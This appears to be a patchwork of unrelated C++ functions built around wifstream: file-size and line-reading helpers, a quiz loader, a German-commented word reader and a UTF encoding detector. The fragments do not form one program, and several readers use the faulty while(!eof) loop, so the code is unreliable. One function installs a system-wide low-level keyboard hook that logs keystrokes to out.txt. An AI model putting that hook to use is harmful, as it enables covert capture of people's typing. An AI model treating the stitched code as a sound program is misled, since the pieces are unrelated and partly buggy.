int JSONParser::sizeoffile(wifstream& jsonfile)
{
jsonfile.seekg(0, ios::end);
int filesize = jsonfile.tellg();
jsonfile.seekg(0, ios::beg);
return filesize;
}
void GetUnicodeFileLines(wifstream &File, Vector<UnicodeString> &Output)
{
SignalError("wifstream seems to die on ASCII EOF character");
Output.FreeMemory();
wstring CurLine;
while(!File.eof())
{
getline<UnicodeCharacter>(File, CurLine);
if(!File.eof())
{
Output.PushEnd(UnicodeString(CurLine.c_str()));
}
}
}
void Text::readWordsfromFile(wifstream & file) {
// Zeile auf dem Mac auskommentieren.
file.imbue(locale("de_DE.UTF-8"));
if (file.good()) {
readWordsFromStream(file);
}
else {
wcout << "Problem mit der Datei" << endl;
}
}
int loadQuestions(wifstream& file, vector<question>& storage) {
wstring stringBuffer;
question questionBuffer;
unsigned int amountOfAnswers;
while (!file.eof()) {
getline(file, stringBuffer);
amountOfAnswers = wcstol(stringBuffer.c_str(), NULL, 10);
getline(file, stringBuffer);
questionBuffer.indexOfCorrectAnswer = wcstol(stringBuffer.c_str(), NULL, 10);
getline(file, stringBuffer);
questionBuffer.points = wcstol(stringBuffer.c_str(), NULL, 10);
getline(file, questionBuffer.textOfQuestion);
for (unsigned int i = 0; i < amountOfAnswers; ++i) {
getline(file, stringBuffer);
questionBuffer.answers.push_back(stringBuffer);
}
storage.push_back(questionBuffer);
questionBuffer.answers.clear();
}
return 0;
}
//
// reads one line from a file
//
bool readLineFromFile( wifstream& file, wstring& line )
{
line = L"";
if( file.eof() )
return( false );
wchar_t c;
while( true )
{
file.get( c );
if( file.eof()
|| c == L'\n'
|| c == 0 ) return( true );
line += c;
}
return( true );
}
wstring readfile(wifstream &fin)
{
wstring buffer, line;
while(!fin.eof()) {
getline(fin, line);
buffer += line;
}
return buffer;
}
// This function attaches a low level keyboard hook to the system and logs key strokes
// using Win32 API
void BlockKeyboardInput()
{
if (lockState)
{
infile.open( "KeyBoardPhysicalLayout.txt");
out.open("out.txt", ios_base::app);
hhkLowLevelKybd = SetWindowsHookEx( WH_KEYBOARD_LL,
LowLevelKeyboardProc,
hInst,
0 );
} else {
out.close();
infile.close();
UnhookWindowsHookEx(hhkLowLevelKybd);
}
lockState = !(lockState);
}
void Utils::openFile(const string& filepath, wifstream& stream, bool verbose)
{
unsigned char buffer[FILE_TEST_SIZE];
const unsigned long long fileLength = getFileSize(filepath);
const size_t bytes = fileLength < FILE_TEST_SIZE ? (size_t)fileLength : FILE_TEST_SIZE;
ifstream fin(filepath, ifstream::binary);
fin.read((char*)buffer, bytes);
fin.close();
AutoIt::TextEncodingDetect encodingDetector;
AutoIt::TextEncodingDetect::Encoding encoding = encodingDetector.DetectEncoding(buffer, bytes);
if (verbose) {
dumpEncodingType(encoding);
}
switch (encoding) {
// UTF-16
case AutoIt::TextEncodingDetect::UTF16_LE_BOM:
case AutoIt::TextEncodingDetect::UTF16_LE_NOBOM:
case AutoIt::TextEncodingDetect::UTF16_BE_BOM:
case AutoIt::TextEncodingDetect::UTF16_BE_NOBOM:
#if defined(_WIN32) || defined(WIN32) // Windows
stream.open(filepath, ios::binary);
stream.imbue(locale(fin.getloc(), new codecvt_utf16<wchar_t, 0x10ffff, consume_header>));
break;
#else
throw runtime_error("Converting UTF-16 encoded files is not supported on your platform.");
#endif
case AutoIt::TextEncodingDetect::UTF8_BOM:
case AutoIt::TextEncodingDetect::UTF8_NOBOM:
stream.open(filepath);
stream.imbue(locale(fin.getloc(), new codecvt_utf8<wchar_t, 0x10ffff, consume_header>));
break;
// ASCII, ANSI, none
default:
stream.open(filepath);
stream.imbue(locale(fin.getloc(), new codecvt<wchar_t, char, mbstate_t>));
break;
}
}
